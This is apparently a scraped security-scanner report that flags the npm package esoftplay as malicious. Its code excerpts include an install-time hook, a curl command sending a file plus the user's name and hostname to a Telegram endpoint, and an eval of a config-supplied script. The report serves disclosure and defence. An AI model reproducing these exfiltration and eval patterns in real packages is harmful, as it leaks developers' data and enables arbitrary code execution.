esoftplay@0.0.269-beta7318487: Malicious npm security report | LPM Firewall

Loading npm security reports…

esoftplay@0.0.269-beta7318487: Malicious npm security report | LPM Firewall

Source & flagged code

13 flagged · loading source

package.jsonView file

•scripts.postinstall = bun ./bin/build.js install

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = bun ./bin/build.js install

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

config.jsonView file

25patternName = google_api_key severity = high line = 25 matchedText = "apiKey"...BK8Y

High

High Secret

Package contains a high-severity secret pattern.

config.jsonView on unpkg · L25

25patternName = google_api_key severity = high line = 25 matchedText = "apiKey"...BK8Y

High

Secret Pattern

Google API key in config.json

config.jsonView on unpkg · L25

bin/packager.jsView file

1#!/usr/bin/env node L2: const { spawn } = require('child_process'); L3: const fs = require('fs');

High

Child Process

Package source references child process execution.

bin/packager.jsView on unpkg · L1

1#!/usr/bin/env node L2: const { spawn } = require('child_process'); L3: const fs = require('fs');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/packager.jsView on unpkg · L1

bin/cli.jsView file

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

bin/cli.jsView on unpkg · L2

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

bin/cli.jsView on unpkg · L2

2Trigger-reachable chain: manifest.bin -> bin/cli.js L2: const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

bin/build.jsView file

400if (installDevLibs.length > 0) { L401: cmd += "&& bun add " + installDevLibs.join(" ") + " --dev " L402: } ... L406: console.log((JSON.stringify({ cmd }, undefined, 2))) L407: execSync(cmd + "|| true") L408: execSync("cd ../../ && bun ./node_modules/esoftplay/bin/router.js || true")

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/build.jsView on unpkg · L400

bin/test.shView file

•path = bin/test.sh kind = build_helper sizeBytes = 536 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/test.shView on unpkg

Source & flagged code

13 flagged

package.jsonView file

Lines 1-31json

1{

2 "name": "esoftplay",

3 "version": "0.0.269-beta7318487",

4 "description": "embedding data from esoftplay framework (web based) into mobile app",

5 "main": "cache/index.js",

6 "types": "../../index.d.ts",

7 "trustedDependencies": [

8 "esoftplay"

9 ],

10 "scripts": {

11 "postinstall": "bun ./bin/build.js install",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L11

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L11

12 "test": "bun ./bin/build.js install"

13 },

14 "repository": {

15 "type": "git",

16 "url": "git+https://github.com/esoftplay/mobile.git"

17 },

18 "keywords": [

19 "esoftplay-mobile-app",

20 "esoftplay-react-native",

21 "esoftplay-framework",

22 "easy-file-routing",

23 "oodd-react-native",

24 "object-oriented-design-development"

25 ],

26 "author": "Esoftplay Inc. <info@esoftplay.com>",

27 "contributors": [

28 "Danang Widiantoro <danang@fisip.net>",

29 "Munawar Kholil <kholil@fisip.net>"

30 ],

31 "license": "GPL-3.0",

config.jsonView file

Lines 5-39json

5 "domain": "esoftplay.com", // naked domain to website

6 "api": "api", // optional: subdomain to access web API

7 "data": "data", // optional: subdomain to access web content / article

8 "uri": "/", // relatif path to main website

bin/packager.jsView file

Lines 1-21javascript

1#!/usr/bin/env node

2const { spawn } = require('child_process');

3const fs = require('fs');

High

Child Process

Package source references child process execution.

bin/packager.jsView on unpkg · L1

bin/cli.jsView file

Lines 1-22javascript

1#!/usr/bin/env node

2const fs = require('fs');

3const exec = require('child_process').execSync;

4// const fetch = require("node-fetch")

5const

bin/build.jsView file

400if (installDevLibs.length > 0) { L401: cmd += "&& bun add " + installDevLibs.join(" ") + " --dev " L402: } ... L406: console.log((JSON.stringify({ cmd }, undefined, 2))) L407: execSync(cmd + "|| true") L408: execSync("cd ../../ && bun ./node_modules/esoftplay/bin/router.js || true")

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/build.jsView on unpkg · L400

bin/test.shView file

•path = bin/test.sh kind = build_helper sizeBytes = 536 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/test.shView on unpkg

Lines 913-953javascript

913 var d = new Date();

914 d = new Date(d.getTime() - 3000000);

915 var date_format_str = d.getFullYear().toString() + "-" + ((d.getMonth() + 1).toString().length == 2 ? (d.getMonth() + 1).toString() : "0" + (d.getMonth() + 1).toString()) + "-" + (d.getDate().toString().length == 2 ? d.getDate().toString() : "0" + d.getDate().toString());

916 let stringBuilder = "#" + ajson.expo.slug + "\n" + cjson.config.domain + "\n" + os.userInfo().username + '@' + os.hostname()

917 stringBuilder += "\nid: " + (last_id + 1)

918 let esplibs = Object.keys(pack.dependencies).filter((key) => key.includes("esoftplay"))

919 esplibs.forEach((key) => {

920 stringBuilder += ("\n" + key + ": " + pack.dependencies[key])

921 })

922 stringBuilder += "\n\nversionName: " + (ajson.expo.ios.buildNumber || ajson.expo.android.versionCode) + '-' + (last_id + 1) + ""

923 const { exec } = require('child_process');

924 exec("publisher=$(npx expo whoami &); echo $publisher;", (error, stdout, stderr) => {

925 if (error) {

926 console.error(`exec error: ${error}`);

927 return;

928 }

929 let accountName = stdout.trim();

930 stringBuilder += "\npublisher: @" + accountName + "\n"

931 stringBuilder += (notes != '' ? ("\n\n- " + notes) : '')

932 tm(stringBuilder)

933 if (cjson.config.hasOwnProperty('post_publish_script')) {

934 eval(cjson.config.post_publish_script)

935 }

High

Eval

Package source references dynamic code evaluation.

bin/cli.jsView on unpkg · L933

936 if (notes.startsWith('*') && ajson.config.publish_id) {

937 const config = readToJSON(confjson).config;

938 const ajson = readToJSON(appjson);

939 const url = config.publish_uri + ajson.config.publish_id

940 // const fetch = require('node-fetch')

941 console.log("\n\nPROCESSING FORCE UPDATE")

942 fetch(url).then((res) => JSON.stringify(res.json(), undefined, 2)).then(consoleSucces)

943 }

944 });

945 }

946 }

947}

948

949function doctor() {

950 let output = {}

951 if (fs.existsSync(packjson)) {

952 let pack = readToJSON(packjson)

953 output.expo = pack.dependencies.expo